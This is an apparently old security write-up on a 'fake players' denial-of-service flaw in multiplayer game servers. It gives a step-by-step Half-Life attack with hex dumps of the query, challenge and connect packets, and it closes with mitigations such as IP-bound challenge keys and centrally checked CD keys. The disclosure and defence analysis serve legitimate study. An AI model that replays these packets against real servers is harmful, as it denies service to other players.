First of all, this bug has videogames as target and affects almost all
the games with multiplayer support currently available; there is not
too much to say about, however if you are not a gamer probably you
could find this document enough interesting (... I hope eh eh eh).
Each online game server (on Internet or in LAN) lets players to join
and to start playing having tons of fun with other players. That's just
why exists multiplayer 8-)
Just the players are the major problem of games because each server has a limit
of players and the checks made by it to let these players to enter in the game
are really poor. This means that an attacker can fill a game server with a custom
number of inexistent players (1 player is "emulated" by no more than
one or two packets of data) and the server after reached the maximum number
of players will not accept others.
The effect is a Denial of Service (DoS) where the real players cannot use the
service offered by the server because it is already full.
What games are vulnerable
By what I know and I have seen in the games I have tested... almost all
the games with multiplayer support are vulnerables.
With multiplayer support I mean the following requirement:
- the presence of a server that hosts the match and clients that want to
join the hosted match
- a protocol of communication specific for the game. The protocol is used
to send data and information to let the players to join, to let the exchange
of information and also the to send and receive data of the match's situation
(players movements, shots and so on).
So we have games like Half-life, Quake 3 and Unreal Tournament that are vulnerable
to the Fake player bug.
What games are NOT vulnerable
Practically all the games that use a centralized server where can exists only
ONE player with the same information and that permits access only through a
An example are the MMORPG games (massive multiplayer online role-playing games)
where exists one world where there are no limits of players (officially) and
exists an authentication and the presence of only one player (each player is
usually authorized by username and password or by a cd-key).
Almost all the videogames use the UDP protocol to communicate just because
the connection-less packets are easy to manage and moreover are faster than
TCP connections. However the usage of UDP is not the real cause of the fake
players bug but it is a good thing for who launches the fake players attacks
- he don't need to use too much resources on his machine
- the exploits can be easily written - possible spoofing the packets (spoofing
can easily avoid using unique challenge keys based on source IP:port)
However the main cause is just the absence of real checks, in fact sometimes
is needed only one UDP packet to create a fake player into the target server.
The known effects of this type of attack are:
- Real players cannot join a server under attack because it is full
- Games that use "lobby style multiplayer" have a bad DoS because
the match cannot start. Practically the server is something like a room. Players
enter in this room where they can chat and must push a "ready" button
if they want to start the match (all the players must be ready). When there
is a fake players attack the match cannot start because the fake players will
not set the ready flag and also if the admin kick them, they will reenter
in the same moment (usually this type of game doesn't allow the IP banning)
- Others effect specific of some games and, so, cannot be listed here
Disadvantages for the attacker
Naturally also the attacker will have problems using this type of attack.
The main problem is the bandwidth in reception (download), in fact every time
that a player is accepted, the server (usually) starts to send a lot of data
to the client.
The packets that the attacker will receive are keep-alive packets and probably
also game data.
The following is the first fake players bug I have found (and probably is
also the first ever found... though... I don't know and it is not important).
The fake players bug in Half-Life for not-WON authenticated servers (as LAN
and Internet servers that don't use the WON authentication):
Information to know before starting:
- The server uses a challenge key (32bit number) that is the identifier of
the current match hosted by it (so, new match = new key)
- The server doesn't accept players/packets from the same source port (of
the same IP address naturally). That means that each player from the same
IP address must use a different source port or will not be accepted (this
is only an useless note, because almost all the multiplayer games use this
- We will use the UDP protocol and the destination (server) port is the default
Let's go with the attack:
1) We need some information useful to launch our attack. We need to know exactly:
- the protocol wanted
- if we must send a password or not
- if the server is already full or not
0xffffffff means that we are using the info/login channel.
Half-Life and other games based on the Quake engine use 2
virtual 'channels': information and data
2) The server sends us just the information we want:
Data (in hex format):
ff ff ff ff 69 6e ˙˙˙˙in
66 6f 73 74 72 69 6e 67 72 65 73 70 6f 6e 73 65 fostringresponse
00 5c 70 72 6f 74 6f 63 6f 6c 5c 34 36 5c 61 64 .\protocol\46\ad
64 72 65 73 73 5c 31 39 32 2e 31 36 38 2e 30 2e dress\192.168.0.
33 3a 32 37 30 31 35 5c 70 6c 61 79 65 72 73 5c 3:27015\players\
30 5c 70 72 6f 78 79 74 61 72 67 65 74 5c 30 5c 0\proxytarget\0\
6c 61 6e 5c 31 5c 6d 61 78 5c 36 5c 62 6f 74 73 lan\1\max\6\bots
5c 30 5c 67 61 6d 65 64 69 72 5c 76 61 6c 76 65 \0\gamedir\valve
5c 64 65 73 63 72 69 70 74 69 6f 6e 5c 48 61 6c \description\Hal
66 2d 4c 69 66 65 5c 68 6f 73 74 6e 61 6d 65 5c f-Life\hostname\
54 65 73 74 5c 6d 61 70 5c 66 72 65 6e 7a 79 5c Test\map\frenzy\
74 79 70 65 5c 64 5c 70 61 73 73 77 6f 72 64 5c type\d\password\
30 5c 6f 73 5c 6c 5c 73 65 63 75 72 65 5c 30 00 0\os\l\secure\0.
If you need to know what these parameters mean, you can find tons of information
on Internet. What we need are:
||The protocol we need is 46
||good, the server don't require password. If
the server requires password we must simply send it in plain text when we
will launch the attack
||good, the server is not full so we can launch
our attack. If it is full we must simply request the same information each
time (some seconds) so when will be a new empty place, our fake player will
3) Now we need the challenge key of the current match:
4) The server will send us just the info we have requested
Data: ˙˙˙˙A00000000 916706044 1
The challenge key is just 916706044
5) Now we can launch the attack.
A "connect" packet (the command used to join) is like the following:
Data (in hex format):
ff ff ff ff 63 6f ˙˙˙˙co
6e 6e 65 63 74 20 34 36 20 20 31 35 31 31 32 35 nnect 46 151125
33 36 36 31 20 22 5c 70 72 6f 74 5c 32 5c 75 6e 3661 '\prot\2\un
69 71 75 65 5c 2d 31 5c 72 61 77 5c 66 66 66 66 ique\-1\raw\ffff
66 37 62 64 65 66 37 33 39 34 32 31 30 30 30 30 f7bdef7394210000
30 38 34 32 31 30 38 63 36 33 31 30 22 20 22 5c 0842108c6310' '\
6d 6f 64 65 6c 5c 67 6f 72 64 6f 6e 5c 74 6f 70 model\gordon\top
63 6f 6c 6f 72 5c 31 32 38 5c 62 6f 74 74 6f 6d color\128\bottom
63 6f 6c 6f 72 5c 31 32 38 5c 72 61 74 65 5c 39 color\128\rate\9
39 39 39 2e 30 30 30 30 30 30 5c 63 6c 5f 75 70 999.000000\cl_up
64 61 74 65 72 61 74 65 5c 32 30 5c 63 6c 5f 6c daterate\20\cl_l
77 5c 31 5c 63 6c 5f 6c 63 5c 31 5c 63 6c 5f 64 w\1\cl_lc\1\cl_d
6c 6d 61 78 5c 31 32 38 5c 68 75 64 5f 63 6c 61 lmax\128\hud_cla
73 73 61 75 74 6f 6b 69 6c 6c 5c 31 5c 6e 61 6d ssautokill\1\nam
65 5c 6d 79 6e 61 6d 65 22 0a e\myname'.
Here we can see:
||the command to join
| - 46
| - raw
||32 bytes (hex) that are the identifiers of
the CD-KEY used by the client. The attack is made versus servers that do
not use the WON server so they don't check the client's CD-KEY. However
each server can accept max 4 clients at the same time with the same key.
Randomization will help us 8-)
||also if this parameter is not in the example
dump, it is used when we want to join a password protected server. If the
password is hello, we will use \password\hello
6) Confirmation from the server
Data: ˙˙˙˙B 4294967295 1 '192.168.0.3:65182'
| | | | |
| | | | our IP:port (registered by the server)
| | | our client number
| | this is the value we have used in the parameter unique
| | used in the previous packet
| successfully joined
0xfffffff: information data
The server has accepted our new player.
7) If the server is full, it will send the following packet
Data: ˙˙˙˙9Server is full
The fake players generated are only "virtual" players that will not
be spawned in the game's place (for example the arena or a map).
In all the games I have seen, only one instead considers the new players as
REAL players. The game is the first Unreal game by Epic. It's incredibly fun
to see the new fake players that spawn in the default spawn locations and kill
themselves spawning at the same place ah ah ah 8-)
The following are some ideas and partial ideas that can "limit" this
- Don't adding players to the server so easily (usually is needed no more
than one packet!)
- Using challenge keys based on the source IP and port (as used by the Quake
3 engine to avoid also the usage of spoofing attacks)
- Using smaller timeouts and to let the admins to add more flexible bans based
on defined policies. For example: the attacker successfully adds a fake player
to the server, then the player goes in timeout and the attacker will redo
the same operation. I think that an automatic banning based on the number
of timeouts collected by the same IP could be interesting but the limit of
this method is for the other players that are behind the same NAT used by
the banned attacker 8 -( Multiple players behind the same IP (NAT) are a problem
for bans based on IP addresses.
- Usage of unique cd-keys authenticated via centralized servers. Until now
this has been the better implemented solution
- the usage of TCP for the initial login is most secure and limit possible
abuses because are needed more resources for the attack
The only effectiveness solution I have find in the modern games is the
usage of a unique cd-keys checked by a centralized server.
This method naturally don't limit the fake players DoS versus servers
in LANs, but at least limits the number of attacks versus pubblic
An unique cd-key can be easily banned if who uses it is the author of
some fake players DoS, just because he NEEDS the key to launch the
attack versus Internet servers that require the central authorization
and without the key he has no power.
The advantages of this solution are:
- to limit the fake players DoS
- to limit (a bit) the piracy
Instead the disadvantages are:
- the centralized server could be the target of other types of attacks without
the centralized authorization server doesn't exist the authorization
- the usage of unique cd-keys lets the attackers and the cheaters to be more
hungry of keys. The effect could be the usage of brute force tools to retrieve
the valid cd-keys from the centralized server or the raise of cd-keys'theft
- personally I don't like too much the idea to be "logged" and traced
by a server
Then exists ever the latest method: security through obscurity (as the usage
of algorithms and protocol that hide the data and are difficult to understand
This method naturally does NOT offer a real security but some games like to
encode their packets so an attacker who wanna launch a fake players DoS must
first reverse the algorithm used to encode the data or finding other "alternative"
Fortunally (for the attacker) is not ever needed to reverse an algorithm or
to understand a protocol, in fact sometimes can be used also the same encoded
packet dumped with a sniffer (as happens with Tribes 1)
The game developers should take more time when they write the network protocol
of their games and should pay attention to all the known and common problems
If you have ideas or things to add to this document, comments or other types
of feedback, let me know!